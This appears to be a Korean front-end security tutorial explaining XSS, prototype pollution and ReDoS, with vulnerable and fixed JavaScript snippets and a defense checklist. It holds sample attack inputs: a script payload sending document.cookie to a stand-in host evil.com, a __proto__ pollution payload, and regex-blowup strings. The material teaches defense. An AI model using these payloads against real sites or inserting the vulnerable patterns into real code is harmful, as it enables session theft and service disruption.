웹 보안은 프론트엔드 개발자도 반드시 알아야 하는 영역입니다. 면접에서 "XSS가 뭔가요?"라고 물어보면, 공격 유형뿐 아니라 방어 방법까지 설명할 수 있어야 합니다.

XSS (Cross-Site Scripting)

공격자가 악성 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.

Stored XSS (저장형)

JS
// 댓글에 악성 스크립트 저장
const comment = '<script>fetch("https://evil.com/steal?cookie=" + document.cookie)</script>';

// 나쁜 예: innerHTML로 직접 삽입
commentDiv.innerHTML = comment; // 스크립트 실행됨!

// 좋은 예: textContent 사용
commentDiv.textContent = comment; // 텍스트로만 표시됨

Reflected XSS (반사형)

JS
// URL 파라미터를 그대로 페이지에 표시
// https://example.com/search?q=<script>alert('xss')</script>

// 나쁜 예
const query = new URLSearchParams(location.search).get("q");
document.getElementById("result").innerHTML = `검색어: ${query}`;

// 좋은 예
document.getElementById("result").textContent = `검색어: ${query}`;

DOM-based XSS

JS
// 나쁜 예: 사용자 입력을 HTML로 삽입하는 모든 경우
element.innerHTML = userInput;
document.write(userInput);
element.outerHTML = userInput;
element.insertAdjacentHTML("beforeend", userInput);

// eval 계열
eval(userInput);
new Function(userInput)();
setTimeout(userInput, 0); // 문자열 전달 시

XSS 방어

JS
// 1. HTML 이스케이프
function escapeHtml(str) {
  const div = document.createElement("div");
  div.textContent = str;
  return div.innerHTML;
}

// 2. textContent 사용 (innerHTML 대신)
element.textContent = userInput;

// 3. CSP (Content Security Policy) 헤더
// Content-Security-Policy: default-src 'self'; script-src 'self'

// 4. Trusted Types API
// 브라우저가 innerHTML 등에 문자열 직접 할당을 차단
if (window.trustedTypes) {
  const policy = trustedTypes.createPolicy("default", {
    createHTML: (input) => DOMPurify.sanitize(input),
  });
}

// 5. DOMPurify 라이브러리
import DOMPurify from "dompurify";
const clean = DOMPurify.sanitize(dirtyHtml);
element.innerHTML = clean; // 안전한 HTML만 남음

Prototype Pollution

객체의 프로토타입에 악의적인 프로퍼티를 주입하는 공격입니다.

JS
// 공격 시나리오
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');

// 나쁜 예: 깊은 병합 함수
function merge(target, source) {
  for (const key in source) {
    if (typeof source[key] === "object") {
      target[key] = target[key] || {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

const config = {};
merge(config, payload);

// 이제 모든 객체가 영향 받음!
const user = {};
console.log(user.isAdmin); // true — 프로토타입 오염!

방어

JS
// 1. __proto__, constructor, prototype 키 필터링
function safeMerge(target, source) {
  for (const key of Object.keys(source)) {
    if (key === "__proto__" || key === "constructor" || key === "prototype") {
      continue; // 위험한 키 건너뛰기
    }
    if (typeof source[key] === "object" && source[key] !== null) {
      target[key] = target[key] || {};
      safeMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

// 2. Object.create(null) 사용 (프로토타입 없는 객체)
const safeObj = Object.create(null);
safeObj.__proto__ = "attack";
console.log(({}).isAdmin); // undefined — 프로토타입 영향 없음

// 3. Map 사용
const config = new Map();
config.set("key", "value");
// Map은 프로토타입 오염의 영향을 받지 않음

// 4. Object.freeze(Object.prototype) — 극단적 방어
Object.freeze(Object.prototype);

ReDoS (Regular Expression Denial of Service)

악의적 입력으로 정규식 엔진을 과도하게 느리게 만드는 공격입니다.

JS
// 취약한 정규식 — 중첩 반복
const vulnerableRegex = /^(a+)+$/;

// 정상 입력: 빠름
vulnerableRegex.test("aaaa"); // true, 즉시

// 악성 입력: 지수 시간 — 브라우저 멈춤!
vulnerableRegex.test("aaaaaaaaaaaaaaaaaaaaaaaaa!"); // 매우 느림

// 취약한 패턴 예시
/^(a|a)+$/        // 중첩 반복
/(a+)*$/          // 중첩 수량자
/^(a|b|ab)*$/     // 겹치는 대안

방어

JS
// 1. 입력 길이 제한
function safeMatch(input, regex, maxLength = 1000) {
  if (input.length > maxLength) {
    throw new Error("입력이 너무 깁니다.");
  }
  return regex.test(input);
}

// 2. 타임아웃 설정 (Web Worker 활용)
function regexWithTimeout(input, regex, timeout = 1000) {
  return new Promise((resolve, reject) => {
    const worker = new Worker(
      URL.createObjectURL(new Blob([`
        self.onmessage = (e) => {
          const result = ${regex}.test(e.data);
          self.postMessage(result);
        };
      `]))
    );
    const timer = setTimeout(() => {
      worker.terminate();
      reject(new Error("정규식 타임아웃"));
    }, timeout);
    worker.onmessage = (e) => {
      clearTimeout(timer);
      resolve(e.data);
    };
    worker.postMessage(input);
  });
}

// 3. 안전한 정규식으로 재작성
// 나쁜 예: /^(a+)+$/
// 좋은 예: /^a+$/

// 4. safe-regex 라이브러리로 취약성 검사

기타 보안 팁

JS
// 1. eval, new Function 사용 금지
// eval(userInput); // 절대 금지!

// 2. JSON.parse는 안전함 (코드 실행 안 됨)
const data = JSON.parse(userInput); // OK

// 3. postMessage origin 검증
window.addEventListener("message", (event) => {
  if (event.origin !== "https://trusted.com") return;
  // 안전한 처리
});

// 4. 쿠키 보안 설정
// Set-Cookie: token=abc; HttpOnly; Secure; SameSite=Strict

// 5. 서브리소스 무결성 (SRI)
// <script src="lib.js" integrity="sha384-..." crossorigin="anonymous">

보안 체크리스트

취약점방어
XSStextContent, CSP, DOMPurify
Prototype Pollution키 필터링, Object.create(null)
ReDoS입력 길이 제한, 안전한 정규식
CSRFSameSite 쿠키, CSRF 토큰
오픈 리다이렉트URL 화이트리스트

**기억하기 **: XSS 방어의 핵심은 "사용자 입력을 HTML로 삽입하지 않는 것"입니다. innerHTML 대신 textContent를 사용하고, 불가피하면 DOMPurify로 살균합니다. Prototype Pollution은 __proto__ 키를 필터링하고, ReDoS는 입력 길이를 제한하면 대부분 방어됩니다.

댓글 로딩 중...